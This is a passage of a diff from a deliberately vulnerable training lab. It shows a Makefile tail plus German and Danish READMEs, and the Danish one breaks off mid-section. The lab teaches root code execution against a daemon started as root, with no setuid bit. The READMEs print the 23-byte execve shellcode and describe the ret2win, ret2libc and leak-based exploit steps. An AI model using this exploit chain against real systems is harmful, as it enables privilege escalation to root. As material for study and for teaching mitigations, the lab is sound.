@grep '\[stack\]' /proc/$$(pgrep -x foowosd_hardene 2>/dev/null | head -1)/maps || true
|
||||||
|
@echo
|
||||||
|
@for t in ret2win ret2libc shellcode; do \
|
||||||
|
echo "=================== $$t"; \
|
||||||
|
if ./tests/pty_wosuid_test -t $$t 2>&1 >/dev/null; then \
|
||||||
|
echo "--- $$t: got a shell (report the ROOT= line above)"; \
|
||||||
|
else \
|
||||||
|
echo "--- $$t was stopped by the mitigations (as expected)"; \
|
||||||
|
fi; \
|
||||||
|
done
|
||||||
|
@echo
|
||||||
|
@$(MAKE) --no-print-directory stop
|
||||||
|
@echo "### restoring the vulnerable daemon (same uid mode as before: run/run-root/run-root-ns)"
|
||||||
|
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@echo
|
||||||
|
@echo "=== mitigation contrast is above. See README.md."
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# debug: rebuild for gdb and show the first breakpoints to try.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
debug: foowosd.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foowosd $<
|
||||||
|
@echo "=== built ./foowosd for gdb. Try:"
|
||||||
|
@echo " gdb -q ./foowosd"
|
||||||
|
@echo " (gdb) break foowosd.c:345 # the read() that overflows"
|
||||||
|
@echo " (gdb) run -p 2344"
|
||||||
|
@echo " (gdb) info registers rsp rbp"
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# clean. Logs are left: they are your evidence.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
rm -f foowosd foowosc foowosd_hardened shellcode.bin
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
|
||||||
|
rm -f tests/pty_wosuid_test
|
||||||
|
@echo "=== cleaned. (foowosd.log / foowosd_hardened.log are left alone.)"
|
||||||
|
|
||||||
|
.PHONY: all run run-root run-root-ns stop status test test-root verify \
|
||||||
|
verify-shellcode hardened test-hardened debug clean
|
||||||
325
wosuid/README.DE.md
Normal file
325
wosuid/README.DE.md
Normal file
|
|
@ -0,0 +1,325 @@
|
||||||
|
# Das `wosuid`-Labor — Root-RCE **ohne** Setuid-Bit
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd ein absichtlich angreifbarer Daemon, der root ist, weil er als
|
||||||
|
root *GESTARTET* wurde (Port 2344, standardmäßig nur Loopback)
|
||||||
|
foowosc der Exploit: verwandelt einen Stack-Overflow in eine **root**-Shell,
|
||||||
|
indem er Shellcode ausführt — dieselben 23 Bytes, mit denen der
|
||||||
|
User-Level-`food`-Daemon im übergeordneten Labor geknackt wurde
|
||||||
|
```
|
||||||
|
|
||||||
|
Das ist das dritte Labor der Reihe. Gleiche Exploit-Toolchain, gleicher Stil,
|
||||||
|
ein fundamentaler Unterschied:
|
||||||
|
|
||||||
|
| Labor | wie der Zielprozess root wird | `uid=0(root)`-Shell? |
|
||||||
|
|----------|------------------------------------------------|----------------------|
|
||||||
|
| food/fooc| nie — es ist ein gewöhnlicher User-Daemon | nein |
|
||||||
|
| foosd/foosc | das SUID-Bit (`chmod u+s`) — euid 0, ruid 1000 | ja (braucht `setreuid` im Shellcode, weil bash euid→ruid zurücksetzt) |
|
||||||
|
| **foowosd/foowosc** | **keins — root *startet* den Daemon** (sudo / systemd `User=root`) | **ja (schlichter `execve`-Shellcode)** |
|
||||||
|
|
||||||
|
Das Setuid-Bit ist ein *Transportmittel* für Privilegien — nicht die
|
||||||
|
Privilegien selbst. Ein von root gestarteter Daemon hat reale, effektive und
|
||||||
|
gespeicherte uid alle gleich 0. Für den Kernel ist das root, Punkt; es kann und
|
||||||
|
will nicht wissen, ob der Prozess über `+s` an einer Datei dorthin kam oder
|
||||||
|
über `sudo ./foowosd`. Der Overflow in einem von root gestarteten Daemon ist
|
||||||
|
also ein Root-Exploit — *„Ich habe keine SUID-Binärprogramme" ist nicht
|
||||||
|
dasselbe wie „Ich bin nicht ausnutzbar".*
|
||||||
|
|
||||||
|
Das ist die ganze Lektion dieses Labors. Alles darunter ist die Maschinerie.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Schnellstart (was der Benutzer angefordert hat)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd wosuid
|
||||||
|
make # baut den Daemon, den Exploit und die Test-Harness
|
||||||
|
```
|
||||||
|
|
||||||
|
### Das Echte — den Daemon als **root** ausführen
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make run-root # startet foowosd als uid 0 (Prozess, nicht Dateimodus)
|
||||||
|
make test-root # jede Technik muss jetzt uid=0(root) ergeben
|
||||||
|
```
|
||||||
|
|
||||||
|
### Kein sudo? Derselbe Kernelpfad über einen User-Namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
make run-root-ns # uid 0 in einem User-Namespace — kein Passwort nötig
|
||||||
|
make test-root # gleiche Urteile; für CI und alle ohne sudo
|
||||||
|
```
|
||||||
|
|
||||||
|
### Baseline — Daemon als dein normaler Benutzer (kein root irgendwo)
|
||||||
|
|
||||||
|
```
|
||||||
|
make run # foowosd läuft mit deinen uids
|
||||||
|
make test # Exploits landen Shells, aber `root` wird als MISSING erwartet
|
||||||
|
```
|
||||||
|
|
||||||
|
### Aufräumritual (immer: dies ist ein Root-Shell-Labor)
|
||||||
|
|
||||||
|
```
|
||||||
|
make stop
|
||||||
|
```
|
||||||
|
|
||||||
|
`foowosd` ist *nicht* setuid, und nichts in diesem Verzeichnis macht je
|
||||||
|
`chmod +s` — das ist der Punkt. Der gefährliche Zustand ist der **Prozess**,
|
||||||
|
nicht die Datei.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Wenn dir gesagt wird, das SUID-Bit zu setzen
|
||||||
|
|
||||||
|
Du wirst es **nicht** tun. Dieses Labor hat bewusst kein SUID-Bit:
|
||||||
|
|
||||||
|
- `foowosd` wird gebaut, gehört dir und hat reguläre Modi wie jedes andere
|
||||||
|
Programm.
|
||||||
|
- Es wird so root, wie es echte Daemons tun — indem es von *root* gestartet
|
||||||
|
wird.
|
||||||
|
- `make run-root` nutzt dafür `sudo`, und `make run-root-ns` bekommt einen
|
||||||
|
echten uid-0-Prozess ganz ohne das.
|
||||||
|
|
||||||
|
Das Suid-Bit gehört dem *Schwester*-Labor (`foosd`). Der Kontrast zwischen den
|
||||||
|
beiden ist der Lehrplan:
|
||||||
|
|
||||||
|
1. SUID-Labor: Das Bit gibt **euid 0, aber ruid 1000** → `execve("/bin/sh")`
|
||||||
|
wird vom Wächter der bash herabgestuft (`euid != ruid` → Reset) →
|
||||||
|
der Shellcode muss zuerst `setreuid(0,0)` aufrufen (32-Byte-Payload).
|
||||||
|
2. Dieses Labor: root **startet** den Prozess → **ruid == euid == 0** → der
|
||||||
|
Wächter hat nichts zurückzusetzen → der schlichte 23-Byte-`execve`-Shellcode
|
||||||
|
behält root.
|
||||||
|
|
||||||
|
Gleicher Overflow. Gleiche Technik. Anderer *Ursprung* der Privilegien, andere
|
||||||
|
Payload-Form. Das ist die Lektion in Miniatur.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Das Protokoll
|
||||||
|
|
||||||
|
Egal welche Art Client sich verbindet, foowosd begrüßt ihn mit:
|
||||||
|
|
||||||
|
```
|
||||||
|
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (das Banner + die Leaks)
|
||||||
|
BUF=0x7ffd… (die Pufferadresse)
|
||||||
|
```
|
||||||
|
|
||||||
|
`ids=euid/ruid` ist der *„bin ich root?"*-Seitenkanal. foowosc druckt eine
|
||||||
|
laute Warnung, wenn euid nicht 0 ist (d. h., du hast den Daemon als normalen
|
||||||
|
Benutzer gestartet): Der Payload landet trotzdem, aber die Shell wird eine
|
||||||
|
Benutzer-Shell sein, und den Exploit „kaputt" zu nennen wäre falsch — er
|
||||||
|
eskaliert nur eben nicht.
|
||||||
|
|
||||||
|
> Schreibweise-Hinweis: `ids=`, nicht `euid=`/`ruid=`. Die Test-Harness beweist
|
||||||
|
> ein lebendes `id`, indem sie die wörtliche Form `uid=NNN(` matcht, daher darf
|
||||||
|
> das Banner nie einen Teilstring enthalten, der selbst die Prüfung erfüllt.
|
||||||
|
> (Im SUID-Labor erzeugte genau diese Falle ein spektakuläres Fehlpositiv.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Die Exploit-Techniken (`foowosc -t …`)
|
||||||
|
|
||||||
|
Alle vier Exploit-Pfade unten funktionieren gegen foowosd. Wenn der Daemon
|
||||||
|
root ist, ergeben **alle, die irgendetwas spawne, root** — anders als im
|
||||||
|
SUID-Labor, wo ret2win/ret2libc vom bash-Wächter still auf uid 1000
|
||||||
|
herabgestuft wurden. Hier gibt es keinen Mismatch, gegen den es zu wachen
|
||||||
|
gälte.
|
||||||
|
|
||||||
|
| `-t` | was passiert | wenn der Daemon root ist |
|
||||||
|
|---------------|---------------------------------------------------------------------|---------------------|
|
||||||
|
| `shellcode` | 23-Byte-`execve("/bin/sh", NULL, NULL)` läuft auf dem Stack. | **root-Shell** (Standard) |
|
||||||
|
| `ret2win` | Sprung zu `win()` → `execl("/bin/sh")` | **root-Shell** |
|
||||||
|
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-Shell** |
|
||||||
|
| `demo` | nur Müll-Overflow — erwarte ein SIGSEGV im Daemon-Log | Absturz, per Design |
|
||||||
|
| `leak` | druckt nur die Leaks, sendet keinen Payload | n/a |
|
||||||
|
|
||||||
|
```
|
||||||
|
./foowosc -t shellcode # interaktiv; Standardziel 127.0.0.1:2344
|
||||||
|
./foowosc -t shellcode -n # senden und berichten, keine interaktive Session
|
||||||
|
```
|
||||||
|
|
||||||
|
Eine erfolgreiche interaktive Session leitet dein Terminal an die Shell *auf
|
||||||
|
dem Opfer* weiter — es gibt genau eine Shell im Bild, und es ist `/bin/sh`,
|
||||||
|
das als root in foowosd läuft. Tippe `id`, um `uid=0(root)` zu sehen.
|
||||||
|
|
||||||
|
### Warum es hier keine `ret2win-root`-Technik gibt
|
||||||
|
|
||||||
|
foosc hatte eine — sie sprang zu einem `win_root()`, das vor dem exec
|
||||||
|
`setreuid(0,0)` aufrief, weil ein Setuid-Prozess mit einer realen uid lief, die
|
||||||
|
immer noch 1000 sagte. Ein von root *gestarteter* Prozess hat die reale uid
|
||||||
|
schon 0; es gibt nichts zu leeren, also würden die zusätzliche Funktion und
|
||||||
|
Technik nichts lehren. Entfernt.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Was foowosc Schritt für Schritt tut
|
||||||
|
|
||||||
|
1. **Statische Analyse** — `objdump -d` von `./foowosd`. Findet
|
||||||
|
`vulnerable_handler`, `win()`, das `lea -0x50(%rbp)`, das `buf` adressiert,
|
||||||
|
und das erste nackte `ret`. Aus der Verschiebung berechnet es
|
||||||
|
`rip_off = 80 + 8 = 88`. Nichts ist hart verdrahtet; das überlebt einen
|
||||||
|
Rebuild.
|
||||||
|
2. **Selbst-Introspektion** — liest sein eigenes `/proc/self/maps` und ruft per
|
||||||
|
`dlsym()` `system`/`read` auf, um die libc-*Offsets* zu lernen. Die
|
||||||
|
libc-Basis des Ziels ist `leaked_read − off_read`, dann ist
|
||||||
|
`system = base + off_system`, usw. Diese Delta-Arithmetik ist der Grund,
|
||||||
|
warum Exploits über libc-Versionen hinweg am Leben bleiben.
|
||||||
|
3. **Verbinden** — liest das Banner/die Leaks (`ids=`, `stack=`, `libc=`,
|
||||||
|
`BUF=`).
|
||||||
|
4. **Payload bauen** — für `shellcode`: 23 Bytes Maschinencode, Padding bis
|
||||||
|
`rip_off`, dann die gespeicherte RIP = `buf` (sodass `ret` auf den Code
|
||||||
|
springt). Für `ret2win`/`ret2libc`: aus der Analyse berechnete Adressen —
|
||||||
|
keine Ausführung des Stacks nötig.
|
||||||
|
5. **Der Ausrichtungs-Fix** — ein gekapertes nacktes `ret` übergibt dem Callee
|
||||||
|
`rsp ≡ 8 (mod 16)`, und glibcs SSE2-Code `movaps`-fault auf einem nicht
|
||||||
|
ausgerichteten Stack (der Crash-Reporter loggt `si_addr=(nil)` — der
|
||||||
|
Hinweis). foowosc fügt vor dem echten Ziel ein zusätzliches `ret`-Gadget ein
|
||||||
|
und stellt die Invariante wieder her. Samthandschuh-Ingenieurkunst in einem
|
||||||
|
Shellcode-Labor, aber es ist der Unterschied zwischen einem Payload, der
|
||||||
|
„manchmal funktioniert", und einem, der immer funktioniert.
|
||||||
|
6. **Senden, dann weiterleiten** — der Opferprozess *ist* die Shell; dieser
|
||||||
|
Prozess nur splißt Bytes. Keine lokale Shell, kein zweiter Leser — der
|
||||||
|
Single-Read-Cursor-Fehler (ein gefressenes Byte pro Block) ist in
|
||||||
|
`become_shell()` dokumentiert.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Die absichtlichen Bugs des Daemons (alle in `foowosd.c`, alle echte CWE-Klassen)
|
||||||
|
|
||||||
|
| # | Bug | CWE | Hinweis |
|
||||||
|
|---|-----|-----|------|
|
||||||
|
| 1 | `read(fd, buf, 512)` in einen 64-Byte-Stack-Puffer | CWE-120 | der Overflow: 448 Bytes über `buf` hinaus, gespeicherte RIP bei +88 |
|
||||||
|
| 2 | nur `snprintf(line, …, "%.*s", …)`; aber Angreifer-`%` im Echo-Pfad | CWE-134 | das Leak ist hier der eigentliche Payload; ein `%n` in einem *root*-Prozess wäre write-what-where als root |
|
||||||
|
| 3 | Kinder behalten root, während sie unvertrauenswürdige Eingaben behandeln | CWE-271 | das korrekte `drop_privs()` (setgroups→setgid→setuid, in dieser Reihenfolge, mit Verifikation) steht in der Datei, kommentiert, *bewusst nie aufgerufen* |
|
||||||
|
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` an jeden Client offengelegt | CWE-200 | ohne diese Leaks könnten Shellcode- und ret2libc-Techniken keine Adressen berechnen (ASLR würde sie schlagen) |
|
||||||
|
|
||||||
|
Der Handler hat exakt dieselbe `buf[64]`/`read(512)`-Form wie die beiden
|
||||||
|
anderen Labore, sodass die geteilte objdump-basierte Erkennungspipeline
|
||||||
|
unverändert funktioniert.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## So inspizierst du den Daemon (Lernpfad)
|
||||||
|
|
||||||
|
```
|
||||||
|
make status # läuft er? als welche uid? Dateimodus wird gezeigt
|
||||||
|
make run-root # oder run / run-root-ns
|
||||||
|
./foowosc -t leak # sieh das Banner und die Leaks, sende nichts
|
||||||
|
./foowosc -t demo # Müll-Overflow -> SIGSEGV, geloggt mit RIP/rsp
|
||||||
|
./foowosc -t shellcode # die interaktive Root-Shell
|
||||||
|
make test-root # volle Matrix, alle Techniken, --must-root
|
||||||
|
```
|
||||||
|
|
||||||
|
Crash-Reporter: Bei SIGSEGV loggt der Daemon die Fehleradresse, RIP und RSP.
|
||||||
|
Ein `ret` in eine nicht-kanonische `0x4141…` fault am `ret` selbst (RIP wie
|
||||||
|
`0x4028xx`, `si_addr=(nil)`) — wissenswert, bevor du eine Log-Zeile als
|
||||||
|
NULL-Deref fehlliest.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Warum der Shellcode 23 Bytes sind, nicht 32
|
||||||
|
|
||||||
|
```
|
||||||
|
31 f6 xor esi, esi ; argv = NULL
|
||||||
|
31 d2 xor edx, edx ; envp = NULL
|
||||||
|
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||||
|
57 push rdi
|
||||||
|
48 89 e7 mov rdi, rsp
|
||||||
|
6a 3b push 0x3b ; 59 = execve
|
||||||
|
58 pop rax
|
||||||
|
0f 05 syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
Das SUID-Labor braucht `setreuid(0,0)` davor. Dieses Labor nicht, aus dem
|
||||||
|
Grund, der überall wiederholt wird: **ruid ist bereits 0**, weil root den
|
||||||
|
Prozess gestartet hat. `make verify` beweist, dass die Bytes in `foowosc.c`
|
||||||
|
Byte für Byte das sind, was `shellcode.S` assembliert.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Gegenmaßnahmen — was `make hardened` ändert
|
||||||
|
|
||||||
|
Gehärteter Build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||||
|
|
||||||
|
| Technik | angreifbares `foowosd` | gehärtetes `foowosd_hardened` |
|
||||||
|
|-----------|----------------------|------------------------------|
|
||||||
|
| `shellcode` | root-Shell (ausführbarer Stack) | SIGSEGV bei der Canary-Prüfung / NX |
|
||||||
|
| `ret2win` / `ret2libc` | root-Shell | Canary bricht `ret` ab — aber Achtung: ein *PIE*-Build macht diese Adressen auch zufällig |
|
||||||
|
| `demo` | SIGSEGV, geloggt | SIGSEGV, geloggt |
|
||||||
|
|
||||||
|
`make test-hardened` demonstriert das live. Die wichtige Beobachtung ist nicht
|
||||||
|
nur, dass die Gegenmaßnahmen die Techniken getötet haben — es ist, dass sie
|
||||||
|
den Daemon **nicht** „nicht-root" gemacht haben. Ein gehärteter Build, der
|
||||||
|
immer noch als root *gestartet* wird, ist immer noch ein Root-Daemon; die
|
||||||
|
Gegenmaßnahme erhöht nur die Latte für den Angreifer. Least Privilege
|
||||||
|
(`drop_privs()`) und Speichersicherheit sind zwei verschiedene Bugs, und ein
|
||||||
|
Daemon, der root nicht braucht, sollte es nicht haben.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sicherheitsleitplanken (gleiche Politik wie das SUID-Labor)
|
||||||
|
|
||||||
|
- **Nur Loopback.** foowosd weigert sich, etwas anderes als `127.0.0.1` /
|
||||||
|
`localhost` / `::1` zu binden, sofern du nicht `-L` übergibst. Ein
|
||||||
|
Root-Daemon auf einer echten Schnittstelle ist ein *entfernter* Root-Dienst.
|
||||||
|
`-L` dient nur dazu, den Wächter zu zeigen; verwende es nicht auf irgendetwas,
|
||||||
|
das wichtig ist.
|
||||||
|
- **Der Zustand wird laut geloggt.** Beim Start druckt es `ruid/euid` und ob
|
||||||
|
dies ein Root-Prozess ist, sodass du immer weißt, welches Exploit-Ergebnis
|
||||||
|
zu erwarten ist.
|
||||||
|
- **Urteile kommen aus Exit-Status** in `make test*` (dem Rückgabecode der
|
||||||
|
pty-Harness), nie aus dem Greppen ihrer stdout-Ausgabe — greppbare Ausgabe
|
||||||
|
lügt.
|
||||||
|
- **pty muss cooked + ECHO off laufen**, sonst spiegelt die Harness ihre eigene
|
||||||
|
Befehlszeile zurück und fälscht den Marker. Die Harness schaltet ECHO aus und
|
||||||
|
lässt ECHONL an.
|
||||||
|
- **Aufräumritual:** `make stop` nach jeder Session. Wenn der Daemon
|
||||||
|
root-gehörig ist, sagt dir `stop`, dass du `sudo pkill -x foowosd` ausführen
|
||||||
|
sollst.
|
||||||
|
- Führe dies nie auf einem Host aus, der dir wichtig ist. Es existiert, um
|
||||||
|
`uid=0`-Shells über die Loopback-Schnittstelle auszugeben.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Übungen
|
||||||
|
|
||||||
|
1. Führe `make run` (User-Daemon) aus, dann `./foowosc -t shellcode`. Warum
|
||||||
|
ist die Shell nicht root? (Prüfe `ids=` im Banner — foowosc sagt es dir,
|
||||||
|
bevor du dich überhaupt verbindest.)
|
||||||
|
2. `make stop && sudo make run-root && make test-root`. Erkläre anhand der
|
||||||
|
Banner-Zeile, warum alle vier Techniken jetzt `uid=0(root)` ergeben.
|
||||||
|
3. Finde in `foowosd.c` `drop_privs()` und lies, *warum die Reihenfolge* von
|
||||||
|
`setgroups → setgid → setuid` zählt. Entscheide, wo in `main()` es
|
||||||
|
hingehören würde, und was aus der Angriffsfläche des Labors wird, sobald es
|
||||||
|
tatsächlich aufgerufen wird.
|
||||||
|
4. Berechne `rip_off` von Hand aus `objdump -d foowosd`: finde `buf`s
|
||||||
|
`lea -0xNN(%rbp)` in `vulnerable_handler`, dann `NN + 8`. foowosc macht
|
||||||
|
genau das; prüfe seine Rechnung gegen deine eigene.
|
||||||
|
5. `make hardened && make test-hardened`. Welche Technik erliegt dem Canary und
|
||||||
|
welche NX? Warum ändert Härten nicht, was `make status` über den *Prozess*
|
||||||
|
meldet?
|
||||||
|
6. Vergleiche die Shellcodes der beiden Labore: 23 Bytes hier, 32 für foosd.
|
||||||
|
Was tun die zusätzlichen 9 Bytes, und warum werden sie nur im SUID-Fall
|
||||||
|
gebraucht?
|
||||||
|
7. Lies `become_shell()`s Kommentar über den einzelnen Read-Cursor. Stelle den
|
||||||
|
Ausfallmodus gedanklich nach: zwei Leser an einem Socket bedeuten, dass die
|
||||||
|
Login-Shell ein Byte pro Block frisst — „uid=1000…" kommt als „id=1000…" an.
|
||||||
|
Warum kann ein Relay-Prozess diesen Bug nie haben?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Dateien
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd.c der angreifbare Root-Daemon (jede Zeile kommentiert)
|
||||||
|
foowosc.c der Exploit (jede Zeile kommentiert)
|
||||||
|
shellcode.S Referenz-Assembly für den 23-Byte-Payload
|
||||||
|
tests/pty_wosuid_test.c die pty-Harness (Marker + strenge id-Form-Prüfungen)
|
||||||
|
Makefile build / run / run-root / run-root-ns / test /
|
||||||
|
test-root / verify / hardened / clean …
|
||||||
|
```
|
||||||
|
|
||||||
|
Schwester-Labore: `../food.c`/`../fooc.c` (User-Level-Baseline, Port 2342) und
|
||||||
|
`../suid/` (SUID-Root-Daemon `foosd`/`foosc`, Port 2343). Die Ports sind
|
||||||
|
bewusst verschieden — du kannst alle drei gleichzeitig laufen lassen und ihre
|
||||||
|
`ids=`-Zeilen im Banner gegeneinander prüfen.
|
||||||
309
wosuid/README.DK.md
Normal file
309
wosuid/README.DK.md
Normal file
|
|
@ -0,0 +1,309 @@
|
||||||
|
# `wosuid`-laboratoriet — root-RCE **uden** setuid-bit
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd en bevidst sårbar daemon, der er root, fordi den blev *STARTET* som
|
||||||
|
root (port 2344, kun loopback som standard)
|
||||||
|
foowosc exploitet: forvandler et stack-overløb til en **root**-shell ved at
|
||||||
|
udføre shellcode — de samme 23 bytes, der knækkede user-level-
|
||||||
|
`food`-daemonen i det overordnede laboratorium
|
||||||
|
```
|
||||||
|
|
||||||
|
Det er det tredje laboratorium i serien. Samme exploit-værktøjskæde, samme
|
||||||
|
stil, én fundamental forskel:
|
||||||
|
|
||||||
|
| Laboratorium | hvordan target-processen bliver root | `uid=0(root)`-shell? |
|
||||||
|
|----------|------------------------------------------------|----------------------|
|
||||||
|
| food/fooc| aldrig — det er en almindelig user-daemon | nej |
|
||||||
|
| foosd/foosc | SUID-bitten (`chmod u+s`) — euid 0, ruid 1000 | ja (kræver `setreuid` i shellcoden, fordi bash nulstiller euid→ruid) |
|
||||||
|
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (almindelig `execve`-shellcode)** |
|
||||||
|
|
||||||
|
Setuid-bitten er et *transportmiddel* for privilegier — ikke privilegierne
|
||||||
|
selv. En daemon startet af root har reelle, effektive og gemte uid alle lig 0.
|
||||||
|
For kernen er det root, punktum; den kan og vil ikke vide, om processen kom
|
||||||
|
derhen via `+s` på en fil eller via `sudo ./foowosd`. Overløbet i en
|
||||||
|
root-started daemon er altså et root-exploit — *"jeg har ingen
|
||||||
|
SUID-binærfiler" er ikke det samme som "jeg er ikke udnyttelig".*
|
||||||
|
|
||||||
|
Det er hele lektionen i dette laboratorium. Alt herunder er maskineriet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hurtig start (hvad brugeren bad om)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd wosuid
|
||||||
|
make # bygger daemonen, exploitet og test-harnessen
|
||||||
|
```
|
||||||
|
|
||||||
|
### Det ægte — kør daemonen som **root**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make run-root # starter foowosd som uid 0 (proces, ikke filtilstand)
|
||||||
|
make test-root # hver teknik skal nu give uid=0(root)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ikke sudo? Den identiske kernel-sti via en user-namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
make run-root-ns # uid 0 i en user-namespace — ingen adgangskode nødvendig
|
||||||
|
make test-root # samme domme; bruges af CI og alle uden sudo
|
||||||
|
```
|
||||||
|
|
||||||
|
### Baseline — daemon som din normale bruger (intet root nogen steder)
|
||||||
|
|
||||||
|
```
|
||||||
|
make run # foowosd kører med dine uider
|
||||||
|
make test # exploits lander shells, men `root` forventes MISSING
|
||||||
|
```
|
||||||
|
|
||||||
|
### Oprydningsritual (altid: dette er et root-shell-laboratorium)
|
||||||
|
|
||||||
|
```
|
||||||
|
make stop
|
||||||
|
```
|
||||||
|
|
||||||
|
`foowosd` er *ikke* setuid, og intet i dette bibliotek laver nogensinde
|
||||||
|
`chmod +s` — det er pointen. Den farlige tilstand er **processen**, ikke
|
||||||
|
filen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Når du bliver bedt om at sætte SUID-bitten
|
||||||
|
|
||||||
|
Det kommer du **ikke** til. Dette laboratorium har bevidst ingen SUID-bit:
|
||||||
|
|
||||||
|
- `foowosd` bygges, ejes og har almindelige tilstande som ethvert andet program.
|
||||||
|
- Det bliver root, som rigtige daemoner gør — ved at blive *startet* af root.
|
||||||
|
- `make run-root` bruger `sudo` til præcis det, og `make run-root-ns` får en
|
||||||
|
ægte uid-0-proces helt uden noget af det.
|
||||||
|
|
||||||
|
Suid-bitten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellem de to
|
||||||
|
er pensum:
|
||||||
|
|
||||||
|
1. SUID-laboratoriet: bitten giver **euid 0, men ruid 1000** →
|
||||||
|
`execve("/bin/sh")` nedgraderes af bashs vagt (`euid != ruid` → reset) →
|
||||||
|
shellcoden må først kalde `setreuid(0,0)` (32-byte-payload).
|
||||||
|
2. Dette laboratorium: root **starter** processen → **ruid == euid == 0** →
|
||||||
|
vagten har intet at nulstille → den almindelige 23-byte `execve`-shellcode
|
||||||
|
beholder root.
|
||||||
|
|
||||||
|
Samme overløb. Samme teknik. Forskellig *oprindelse* af privilegier, anderledes
|
||||||
|
payload-form. Det er lektionen i miniature.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Protokollen
|
||||||
|
|
||||||
|
Uanset hvilken slags klient der forbinder, hilser foowosd på den med:
|
||||||
|
|
||||||
|
```
|
||||||
|
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
|
||||||
|
BUF=0x7ffd… (bufferadressen)
|
||||||
|
```
|
||||||
|
|
||||||
|
`ids=euid/ruid` er *"er jeg root?"*-sidekanalen. foowosc printer en høj
|
||||||
|
advarsel, når euid ikke er 0 (dvs. du startede daemonen som en almindelig
|
||||||
|
bruger): payloaden lander stadig, men shellen bliver en bruger-shell, og at
|
||||||
|
kalde exploitet "i stykker" ville være forkert — det eskalerer bare ikke.
|
||||||
|
|
||||||
|
> Staveform-bemærkning: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser et
|
||||||
|
> levende `id` ved at matche den bogstavelige form `uid=NNN(`, så banneret må
|
||||||
|
> aldrig indeholde en delstreng, der selv opfylder tjekket. (I SUID-laboratoriet
|
||||||
|
> producerede præcis den fælde et spektakulært falsk positivt.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Exploit-teknikkerne (`foowosc -t …`)
|
||||||
|
|
||||||
|
Alle fire exploit-stier nedenfor virker mod foowosd. Når daemonen er root,
|
||||||
|
giver **alle, der spawner noget, root** — i modsætning til SUID-laboratoriet,
|
||||||
|
hvor ret2win/ret2libc stille og roligt blev nedgraderet til uid 1000 af bashs
|
||||||
|
vagt. Her er der intet mismatch at vogte mod.
|
||||||
|
|
||||||
|
| `-t` | hvad der sker | når daemonen er root |
|
||||||
|
|---------------|---------------------------------------------------------------------|---------------------|
|
||||||
|
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kører på stacken. | **root-shell** (standard) |
|
||||||
|
| `ret2win` | hop til `win()` → `execl("/bin/sh")` | **root-shell** |
|
||||||
|
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
|
||||||
|
| `demo` | kun junk-overløb — forvent et SIGSEGV i daemon-loggen | nedbrud, efter design |
|
||||||
|
| `leak` | printer bare leaks, sender ingen payload | n/a |
|
||||||
|
|
||||||
|
```
|
||||||
|
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
|
||||||
|
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv session
|
||||||
|
```
|
||||||
|
|
||||||
|
En vellykket interaktiv session videresender din terminal til shellen *på
|
||||||
|
offeret* — der er præcis én shell i billedet, og det er `/bin/sh`, der kører
|
||||||
|
som root inde i foowosd. Skriv `id` for at se `uid=0(root)`.
|
||||||
|
|
||||||
|
### Hvorfor der ikke er nogen `ret2win-root`-teknik her
|
||||||
|
|
||||||
|
foosc havde én — den hoppede til et `win_root()`, der kaldte `setreuid(0,0)`
|
||||||
|
før exec, fordi en setuid-proces kørte med en reelle uid, der stadig sagde
|
||||||
|
1000. En root-*startet* proces har den reelle uid allerede 0; der er intet at
|
||||||
|
rydde, så den ekstra funktion og teknik ville ikke lære noget. Fjernet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hvad foowosc gør, trin for trin
|
||||||
|
|
||||||
|
1. **Statisk analyse** — `objdump -d` af `./foowosd`. Finder
|
